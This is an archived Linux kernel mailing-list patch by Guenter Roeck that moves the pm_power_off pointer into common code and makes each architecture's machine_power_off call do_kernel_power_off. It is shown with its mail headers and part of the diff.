@@ -48,14 +48,6 @@
  */
 void (*sparc_idle)(void);
 
-/* 
- * Power-off handler instantiation for pm.h compliance
- * This is done via auxio, but could be used as a fallback
- * handler when auxio is not present-- unused for now...
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * sysctl - toggle power-off restriction for serial console 
  * systems in machine_power_off()
@@ -112,6 +104,8 @@ void machine_power_off(void)
 		sbus_writeb(power_register, auxio_power_register);
 	}
 
+	do_kernel_power_off();
+
 	machine_halt();
 }
 
diff --git a/arch/sparc/kernel/reboot.c b/arch/sparc/kernel/reboot.c
index eba7d91..3c0bb03 100644
--- a/arch/sparc/kernel/reboot.c
+++ b/arch/sparc/kernel/reboot.c
@@ -16,17 +16,13 @@
  */
 int scons_pwroff = 1;
 
-/* This isn't actually used, it exists merely to satisfy the
- * reference in kernel/sys.c
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
 	if (strcmp(of_console_device->type, "serial") || scons_pwroff)
 		prom_halt_power_off();
 
+	do_kernel_power_off();
+
 	prom_halt();
 }
 
diff --git a/arch/tile/kernel/reboot.c b/arch/tile/kernel/reboot.c
index 6c5d2c0..8ff4a7f 100644
--- a/arch/tile/kernel/reboot.c
+++ b/arch/tile/kernel/reboot.c
@@ -36,6 +36,9 @@ void machine_power_off(void)
 {
 	arch_local_irq_disable_all();
 	smp_send_stop();
+
+	do_kernel_power_off();
+
 	hv_power_off();
 }
 
@@ -45,7 +48,3 @@ void machine_restart(char *cmd)
 	smp_send_stop();
 	hv_restart((HV_VirtAddr) "vmlinux", (HV_VirtAddr) cmd);
 }
-
-/* No interesting distinction to be made here. */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/um/kernel/reboot.c b/arch/um/kernel/reboot.c
index ced8903..a82ef28 100644
--- a/arch/um/kernel/reboot.c
+++ b/arch/um/kernel/reboot.c
@@ -11,8 +11,6 @@
 #include <os.h>
 #include <skas.h>
 
-void (*pm_power_off)(void);
-
 static void kill_off_processes(void)
 {
 	if (proc_mm)
diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/process.c
index b008e99..9490dd5 100644
--- a/arch/unicore32/kernel/process.c
+++ b/arch/unicore32/kernel/process.c
@@ -56,16 +56,9 @@ void machine_halt(void)
 	gpio_set_value(GPO_SOFT_OFF, 0);
 }
 
-/*
- * Function pointers to optional machine specific functions
- */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	machine_halt();
 }
 
diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c
index 17962e6..5c09e28 100644
--- a/arch/x86/kernel/reboot.c
+++ b/arch/x86/kernel/reboot.c
@@ -30,12 +30,6 @@
 #include <asm/x86_init.h>
 #include <asm/efi.h>
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static const struct desc_ptr no_idt = {};
 
 /*
@@ -647,11 +641,12 @@ static void native_machine_halt(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off) {
+	if (have_kernel_power_off()) {
 		if (!reboot_force)
 			machine_shutdown();
-		pm_power_off();
+		do_kernel_power_off();
 	}
+
 	/* A fallback in case there is no PM info available */
 	tboot_shutdown(TB_SHUTDOWN_HALT);
 }
diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
index fac5e4f..bc08998 100644
--- a/arch/x86/xen/enlighten.c
+++ b/arch/x86/xen/enlighten.c
@@ -1320,8 +1320,7 @@ static void xen_machine_halt(void)
 
 static void xen_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	xen_reboot(SHUTDOWN_poweroff);
 }
 
diff --git a/arch/xtensa/kernel/process.c b/arch/xtensa/kernel/process.c
index 1c85323..c487296 100644
--- a/arch/xtensa/kernel/process.c
+++ b/arch/xtensa/kernel/process.c
@@ -49,10 +49,6 @@ extern void ret_from_kernel_thread(void);
 
 struct task_struct *current_set[NR_CPUS] = {&init_task, };
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
-
 #if XTENSA_HAVE_COPROCESSORS
 
 void coprocessor_release_all(struct thread_info *ti)
diff --git a/drivers/parisc/power.c b/drivers/parisc/power.c
index ef31b77..f10cf92 100644
--- a/drivers/parisc/power.c
+++ b/drivers/parisc/power.c
@@ -95,8 +95,7 @@ static void process_shutdown(void)
 		/* send kill signal */
 		if (kill_cad_pid(SIGINT, 1)) {
 			/* just in case killing init process failed */
-			if (pm_power_off)
-				pm_power_off();
+			kernel_power_off();
 		}
 	}
 }
diff --git a/kernel/power/power_off_handler.c b/kernel/power/power_off_handler.c
index e576534..e283ea1 100644
--- a/kernel/power/power_off_handler.c
+++ b/kernel/power/power_off_handler.c
@@ -23,6 +23,12 @@
 #include <linux/types.h>
 
 /*
+ * If set, calling this function will power off the system immediately.
+ */
+void (*pm_power_off)(void);
+EXPORT_SYMBOL(pm_power_off);
+
+/*
  * List of handlers for kernel code which wants to be called
  * to power off the system.
  */
@@ -272,6 +278,9 @@ void do_kernel_power_off(void)
 	 * that risk.
 	 */
 
+	if (pm_power_off)
+		pm_power_off();
+
 	p = rcu_dereference_raw(power_off_handler_list);
 	while (p) {
 		next_p = rcu_dereference_raw(p->next);
diff --git a/kernel/reboot.c b/kernel/reboot.c
index 5925f5a..d87d921 100644
--- a/kernel/reboot.c
+++ b/kernel/reboot.c
@@ -306,9 +306,9 @@ SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsigned int, cmd,
 		return ret;
 
 	/* Instead of trying to make the power_off code look like
-	 * halt when pm_power_off is not set do it the easy way.
+	 * halt when no power-off handler exists do it the easy way.
 	 */
-	if ((cmd == LINUX_REBOOT_CMD_POWER_OFF) && !pm_power_off)
+	if (cmd == LINUX_REBOOT_CMD_POWER_OFF && !have_kernel_power_off())
 		cmd = LINUX_REBOOT_CMD_HALT;
 
 	mutex_lock(&reboot_mutex);
-- 
1.9.1

From - Thu Nov 08 21:10:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [PATCH v6 08/48] kernel: Move pm_power_off to common code
Date: Sun,  9 Nov 2014 17:42:25 -0800
Lines: 909
Approved: news@gmane.org
Message-ID: <1415583785-6980-9-git-send-email-linux@roeck-us.net>
References: <1415583785-6980-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1415583844 31552 80.91.229.3 (10 Nov 2014 01:44:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Nov 2014 01:44:04 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, Guenter Roeck <linux@roeck-us.net>,
	adi-buildroot-devel@lists.sourceforge.net, linux390@de.ibm.com,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux@lists.openrisc.net,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net, x86@kernel.org,
	xen-devel@lists.xenproject.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Nov 10 02:43:56 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Xne1I-0004TS-Na
	for glk-linux-kernel-3@plane.gmane.org; Mon, 10 Nov 2014 02:43:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752130AbaKJBnp (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 9 Nov 2014 20:43:45 -0500
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:38916 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752089AbaKJBnm (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 9 Nov 2014 20:43:42 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=cHZZ9ehbHT9KuRkSB6KpCsrzlzh5bGiaCmG8fTZy42s=;
	b=J6+AbJ2EFT1hVcHFlJgpy7IprT2xo6+ep0hs65MceTtTCYhjVCBIbsPyiExAMJE8r396XV84a/hBckUsy18zDMRDH9sFBx8V36Nvr9sBqf6OSC8VS53qEY+gCIUhgBULiOAleJQvAtWyu9WzsQu7wr4HY5pIyxkLpQBqQQnZ9o0=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Xne17-000U1C-Qt
	for linux-kernel@vger.kernel.org; Mon, 10 Nov 2014 01:43:42 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:36296 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Xne15-000TzJ-AY; Mon, 10 Nov 2014 01:43:41 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1415583785-6980-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.5
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A02020A.5460184D.0194,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 51
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1824925 gmane.linux.power-management.general:52487 gmane.linux.ports.alpha:2534 gmane.linux.ports.arm.kernel:370345 gmane.linux.ports.hexagon:878 gmane.linux.ports.ia64:24694 gmane.linux.ports.openrisc:623 gmane.linux.kernel.metag:398 gmane.linux.ports.mips.general:45086 gmane.linux.ports.parisc:6200 gmane.linux.ports.ppc64.devel:106685 gmane.linux.ports.sh.devel:40975 gmane.linux.ports.sparc:20166 gmane.linux.uml.devel:14798 gmane.linux.uml.user:14749

pm_power_off is defined for all architectures. Move it to common code.

Have all architectures call do_kernel_power_off instead of pm_power_off.
Some architectures point pm_power_off to machine_power_off. For those,
call do_kernel_power_off from machine_power_off instead.

Acked-by: David Vrabel <david.vrabel@citrix.com>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: Hirokazu Takata <takata@linux-m32r.org>
Acked-by: James Hogan <james.hogan@imgtec.com>
Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
Acked-by: Max Filippov <jcmvbkbc@gmail.com>
Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
Acked-by: Richard Weinberger <richard@nod.at>
Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>
Acked-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
v6:
- No change.
v5:
- Rebase to v3.18-rc3
- Update powerpc code to reflect merged power-off handler changes
v4:
- No change
v3:
- Replace poweroff in all newly introduced variables and in text
  with power_off or power-off as appropriate
v2:
- do_kernel_poweroff -> do_kernel_power_off
- have_kernel_poweroff -> have_kernel_power_off

 arch/alpha/kernel/process.c        |  9 +++------
 arch/arc/kernel/reset.c            |  5 +----
 arch/arm/kernel/process.c          |  5 +----
 arch/arm64/kernel/process.c        |  5 +----
 arch/avr32/kernel/process.c        |  6 +-----
 arch/blackfin/kernel/process.c     |  3 ---
 arch/blackfin/kernel/reboot.c      |  2 ++
 arch/c6x/kernel/process.c          |  9 +--------
 arch/cris/kernel/process.c         |  4 +---
 arch/frv/kernel/process.c          |  5 ++---
 arch/hexagon/kernel/reset.c        |  5 ++---
 arch/ia64/kernel/process.c         |  5 +----
 arch/m32r/kernel/process.c         |  8 ++++----
 arch/m68k/kernel/process.c         |  6 +-----
 arch/metag/kernel/process.c        |  6 +-----
 arch/microblaze/kernel/process.c   |  3 ---
 arch/microblaze/kernel/reset.c     |  1 +
 arch/mips/kernel/reset.c           |  6 +-----
 arch/mn10300/kernel/process.c      |  8 ++------
 arch/openrisc/kernel/process.c     |  8 +++++---
 arch/parisc/kernel/process.c       |  8 ++++----
 arch/powerpc/kernel/setup-common.c |  6 +-----
 arch/powerpc/xmon/xmon.c           |  3 +--
 arch/s390/kernel/setup.c           |  8 ++------
 arch/score/kernel/process.c        |  8 ++++----
 arch/sh/kernel/reboot.c            |  6 +-----
 arch/sparc/kernel/process_32.c     | 10 ++--------
 arch/sparc/kernel/reboot.c         |  8 ++------
 arch/tile/kernel/reboot.c          |  7 +++----
 arch/um/kernel/reboot.c            |  2 --
 arch/unicore32/kernel/process.c    |  9 +--------
 arch/x86/kernel/reboot.c           | 11 +++--------
 arch/x86/xen/enlighten.c           |  3 +--
 arch/xtensa/kernel/process.c       |  4 ----
 drivers/parisc/power.c             |  3 +--
 kernel/power/power_off_handler.c   |  9 +++++++++
 kernel/reboot.c                    |  4 ++--
 37 files changed, 68 insertions(+), 150 deletions(-)

diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c
index 1941a07..81c43f8 100644
--- a/arch/alpha/kernel/process.c
+++ b/arch/alpha/kernel/process.c
@@ -24,6 +24,7 @@
 #include <linux/vt.h>
 #include <linux/mman.h>
 #include <linux/elfcore.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/tty.h>
 #include <linux/console.h>
@@ -40,12 +41,6 @@
 #include "proto.h"
 #include "pci_impl.h"
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_ALPHA_WTINT
 /*
  * Sleep the CPU.
@@ -184,6 +179,8 @@ machine_halt(void)
 void
 machine_power_off(void)
 {
+	do_kernel_power_off();
+
 	common_shutdown(LINUX_REBOOT_CMD_POWER_OFF, NULL);
 }
 
diff --git a/arch/arc/kernel/reset.c b/arch/arc/kernel/reset.c
index 2768fa1..0758d9d 100644
--- a/arch/arc/kernel/reset.c
+++ b/arch/arc/kernel/reset.c
@@ -26,9 +26,6 @@ void machine_restart(char *__unused)
 
 void machine_power_off(void)
 {
-	/* FIXME ::  power off ??? */
+	do_kernel_power_off();
 	machine_halt();
 }
-
-void (*pm_power_off) (void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
index fe972a2..aa3f656 100644
--- a/arch/arm/kernel/process.c
+++ b/arch/arm/kernel/process.c
@@ -117,8 +117,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -205,8 +203,7 @@ void machine_power_off(void)
 	local_irq_disable();
 	smp_send_stop();
 
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index fde9923..6f623a0 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -68,8 +68,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL_GPL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -129,8 +127,7 @@ void machine_power_off(void)
 {
 	local_irq_disable();
 	smp_send_stop();
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c
index 42a53e74..529c1f6 100644
--- a/arch/avr32/kernel/process.c
+++ b/arch/avr32/kernel/process.c
@@ -23,9 +23,6 @@
 
 #include <mach/pm.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * This file handles the architecture-dependent parts of process handling..
  */
@@ -48,8 +45,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 void machine_restart(char *cmd)
diff --git a/arch/blackfin/kernel/process.c b/arch/blackfin/kernel/process.c
index 4aa5545..812dd83 100644
--- a/arch/blackfin/kernel/process.c
+++ b/arch/blackfin/kernel/process.c
@@ -39,9 +39,6 @@ int nr_l1stack_tasks;
 void *l1_stack_base;
 unsigned long l1_stack_len;
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * The idle loop on BFIN
  */
diff --git a/arch/blackfin/kernel/reboot.c b/arch/blackfin/kernel/reboot.c
index c4f50a3..387d610 100644
--- a/arch/blackfin/kernel/reboot.c
+++ b/arch/blackfin/kernel/reboot.c
@@ -7,6 +7,7 @@
  */
 
 #include <linux/interrupt.h>
+#include <linux/pm.h>
 #include <asm/bfin-global.h>
 #include <asm/reboot.h>
 #include <asm/bfrom.h>
@@ -106,6 +107,7 @@ void machine_halt(void)
 __attribute__((weak))
 void native_machine_power_off(void)
 {
+	do_kernel_power_off();
 	idle_with_irq_disabled();
 }
 
diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
index 57d2ea8..edf7e5a 100644
--- a/arch/c6x/kernel/process.c
+++ b/arch/c6x/kernel/process.c
@@ -27,12 +27,6 @@ void	(*c6x_halt)(void);
 extern asmlinkage void ret_from_fork(void);
 extern asmlinkage void ret_from_kernel_thread(void);
 
-/*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	unsigned long tmp;
@@ -73,8 +67,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	halt_loop();
 }
 
diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c
index b78498e..9ebd76b 100644
--- a/arch/cris/kernel/process.c
+++ b/arch/cris/kernel/process.c
@@ -31,9 +31,6 @@
 
 extern void default_idle(void);
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	default_idle();
@@ -60,6 +57,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c
index 5d40aeb77..502dabb 100644
--- a/arch/frv/kernel/process.c
+++ b/arch/frv/kernel/process.c
@@ -42,9 +42,6 @@ asmlinkage void ret_from_kernel_thread(void);
 
 #include <asm/pgalloc.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static void core_sleep_idle(void)
 {
 #ifdef LED_DEBUG_SLEEP
@@ -107,6 +104,8 @@ void machine_power_off(void)
 	gdbstub_exit(0);
 #endif
 
+	do_kernel_power_off();
+
 	for (;;);
 }
 
diff --git a/arch/hexagon/kernel/reset.c b/arch/hexagon/kernel/reset.c
index 76483c1..6f607b6 100644
--- a/arch/hexagon/kernel/reset.c
+++ b/arch/hexagon/kernel/reset.c
@@ -16,11 +16,13 @@
  * 02110-1301, USA.
  */
 
+#include <linux/pm.h>
 #include <linux/smp.h>
 #include <asm/hexagon_vm.h>
 
 void machine_power_off(void)
 {
+	do_kernel_power_off();
 	smp_send_stop();
 	__vmstop();
 }
@@ -32,6 +34,3 @@ void machine_halt(void)
 void machine_restart(char *cmd)
 {
 }
-
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c
index b515149..88121a2 100644
--- a/arch/ia64/kernel/process.c
+++ b/arch/ia64/kernel/process.c
@@ -57,8 +57,6 @@ void (*ia64_mark_idle)(int);
 
 unsigned long boot_option_idle_override = IDLE_NO_OVERRIDE;
 EXPORT_SYMBOL(boot_option_idle_override);
-void (*pm_power_off) (void);
-EXPORT_SYMBOL(pm_power_off);
 
 void
 ia64_do_show_stack (struct unw_frame_info *info, void *arg)
@@ -675,8 +673,7 @@ machine_halt (void)
 void
 machine_power_off (void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	machine_halt();
 }
 
diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c
index e69221d..65a037e 100644
--- a/arch/m32r/kernel/process.c
+++ b/arch/m32r/kernel/process.c
@@ -23,6 +23,7 @@
 #include <linux/fs.h>
 #include <linux/slab.h>
 #include <linux/module.h>
+#include <linux/pm.h>
 #include <linux/ptrace.h>
 #include <linux/unistd.h>
 #include <linux/hardirq.h>
@@ -44,9 +45,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 	return tsk->thread.lr;
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_restart(char *__unused)
 {
 #if defined(CONFIG_PLAT_MAPPI3)
@@ -67,7 +65,9 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	/* M32R_FIXME */
+	do_kernel_power_off();
+	for (;;)
+		;
 }
 
 void show_regs(struct pt_regs * regs)
diff --git a/arch/m68k/kernel/process.c b/arch/m68k/kernel/process.c
index afe3d6e..bbc0a63 100644
--- a/arch/m68k/kernel/process.c
+++ b/arch/m68k/kernel/process.c
@@ -78,14 +78,10 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	for (;;);
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void show_regs(struct pt_regs * regs)
 {
 	printk("\n");
diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
index 483dff9..8d95773 100644
--- a/arch/metag/kernel/process.c
+++ b/arch/metag/kernel/process.c
@@ -67,9 +67,6 @@ void arch_cpu_idle_dead(void)
 }
 #endif
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void (*soc_restart)(char *cmd);
 void (*soc_halt)(void);
 
@@ -90,8 +87,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	smp_send_stop();
 	hard_processor_halt(HALT_OK);
 }
diff --git a/arch/microblaze/kernel/process.c b/arch/microblaze/kernel/process.c
index b2dd371..0ebca36 100644
--- a/arch/microblaze/kernel/process.c
+++ b/arch/microblaze/kernel/process.c
@@ -44,9 +44,6 @@ void show_regs(struct pt_regs *regs)
 				regs->msr, regs->ear, regs->esr, regs->fsr);
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void flush_thread(void)
 {
 }
diff --git a/arch/microblaze/kernel/reset.c b/arch/microblaze/kernel/reset.c
index fbe58c6..2c6b32c 100644
--- a/arch/microblaze/kernel/reset.c
+++ b/arch/microblaze/kernel/reset.c
@@ -103,6 +103,7 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	pr_notice("Machine power off...\n");
+	do_kernel_power_off();
 	while (1)
 		;
 }
diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
index 07fc524..09e74d2 100644
--- a/arch/mips/kernel/reset.c
+++ b/arch/mips/kernel/reset.c
@@ -21,9 +21,6 @@
  */
 void (*_machine_restart)(char *command);
 void (*_machine_halt)(void);
-void (*pm_power_off)(void);
-
-EXPORT_SYMBOL(pm_power_off);
 
 void machine_restart(char *command)
 {
@@ -39,6 +36,5 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
diff --git a/arch/mn10300/kernel/process.c b/arch/mn10300/kernel/process.c
index 3707da5..c78b2eb 100644
--- a/arch/mn10300/kernel/process.c
+++ b/arch/mn10300/kernel/process.c
@@ -20,6 +20,7 @@
 #include <linux/user.h>
 #include <linux/interrupt.h>
 #include <linux/delay.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/percpu.h>
 #include <linux/err.h>
@@ -45,12 +46,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 }
 
 /*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
-/*
  * On SMP it's slightly faster (but much more power-consuming!)
  * to poll the ->work.need_resched flag instead of waiting for the
  * cross-CPU IPI to arrive. Use this option with caution.
@@ -93,6 +88,7 @@ void machine_power_off(void)
 #ifdef CONFIG_KERNEL_DEBUGGER
 	gdbstub_exit(0);
 #endif
+	do_kernel_power_off();
 }
 
 void show_regs(struct pt_regs *regs)
diff --git a/arch/openrisc/kernel/process.c b/arch/openrisc/kernel/process.c
index 386af25..494afd2 100644
--- a/arch/openrisc/kernel/process.c
+++ b/arch/openrisc/kernel/process.c
@@ -25,6 +25,7 @@
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/mm.h>
+#include <linux/pm.h>
 #include <linux/stddef.h>
 #include <linux/unistd.h>
 #include <linux/ptrace.h>
@@ -51,7 +52,7 @@
  */
 struct thread_info *current_thread_info_set[NR_CPUS] = { &init_thread_info, };
 
-void machine_restart(void)
+void machine_restart(char *cmd)
 {
 	printk(KERN_INFO "*** MACHINE RESTART ***\n");
 	__asm__("l.nop 1");
@@ -72,11 +73,12 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	printk(KERN_INFO "*** MACHINE POWER OFF ***\n");
+
+	do_kernel_power_off();
+
 	__asm__("l.nop 1");
 }
 
-void (*pm_power_off) (void) = machine_power_off;
-
 /*
  * When a process does an "exec", machine state like FPU and debug
  * registers need to be reset.  This is a hook function for that.
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 0bbbf0d..3f5d14a 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -41,6 +41,7 @@
 #include <linux/fs.h>
 #include <linux/module.h>
 #include <linux/personality.h>
+#include <linux/pm.h>
 #include <linux/ptrace.h>
 #include <linux/sched.h>
 #include <linux/slab.h>
@@ -133,7 +134,9 @@ void machine_power_off(void)
 	pdc_soft_power_button(0);
 	
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
-		
+
+	do_kernel_power_off();
+
 	/* It seems we have no way to power the system off via
 	 * software. The user has to press the button himself. */
 
@@ -141,9 +144,6 @@ void machine_power_off(void)
 	       "Please power this system off now.");
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * Free current thread data structures etc..
  */
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index 44c8d03..a2efce7 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -139,8 +139,7 @@ void machine_restart(char *cmd)
